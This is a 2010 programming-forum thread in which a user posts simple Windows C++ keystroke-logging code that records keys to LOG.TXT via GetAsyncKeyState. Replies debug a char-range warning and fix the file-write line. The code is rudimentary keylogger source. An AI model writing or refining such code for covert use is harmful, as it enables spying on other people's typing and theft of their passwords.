By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
432,369 Members | 966 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 432,369 IT Pros & Developers. It's quick & easy.

[Warning]comparison is always true due to limited range of data type, line 14

P: n/a
1 #include <iostream>
2 using namespace std;
3 #include <windows.h>
4 #include <winuser.h>
5
6 int save(int key_stroke, char *file);
7
8 int main()
9 {
10 char i;
11
12 while (1)
13 {
14 for(i = 8; i <= 190; i++)
15 {
16 if (GetAsyncKeyState(i) == -32767)
17 Save (i, "LOG.TXT");
18 }
19 }
20 system ("PAUSE");
21 return 0;
22 }
23 /* ************************* */
24 /* ************************* */
25 int save(int key_stroke, char *file)
26 {
27 if ( (key_stroke == 1) || (key_stroke 28 == 2) )
29 return 0;
30
31 FILE *OUTPUT_FILE;
32 OUTPUT_FILE = fopen(file, "a+");
33 fprintf(OUTPUT_FILE, "%s", &key_stroke);
34 fclose(OUTPUT_FILE);
35 cout << key_stroke << endl;
36 return 0;
37 }
Oct 13 '10 #1
Share this Question
Share on Google+
3 Replies


ashitpro
Expert 100+
P: 542
At line 10:

Why we are using 'char i'? can't we use 'int i' instead?
Oct 13 '10 #2

100+
P: 687
signed char is always less than 127.
Oct 13 '10 #3

Oralloy
Expert 100+
P: 983
Mattias,

newb16 has the right of it in your problem.

If I recall correctly, the C and C++ specifications do not specify whether the char type is signed or unsigned, thus your declaration of i at line 10 (as noted by Ashitpro) is the problem. Why is because in your compiler, the char type is quietly translated to signed char.

What you can do is to declare i as an unsigned char, or as a larger integer type, like int or long.

Secondly, line 33 may give you problems. You are taking the address of an int and using that address in fprintf as a character pointer. You might be better off using the %c output specifier, instead. Something like:
Expand|Select|Wrap|Line Numbers
  1. fprintf(OUTPUT_FILE, "%c", key_stroke);
My comment about line 33 is because it'll probably work on a little endian machine, but on a big endian machine, the high byte of key_stroke will be the first byte seen, and if the value is between 8 and 190, the hight byte will be zero, yielding a zero length string. Which is to say that line 33 falls into the category of "undefined behaviour" in the specs.

Luck!
Oct 13 '10 #4

Post your reply

Sign in to post your reply or Sign up for a free account.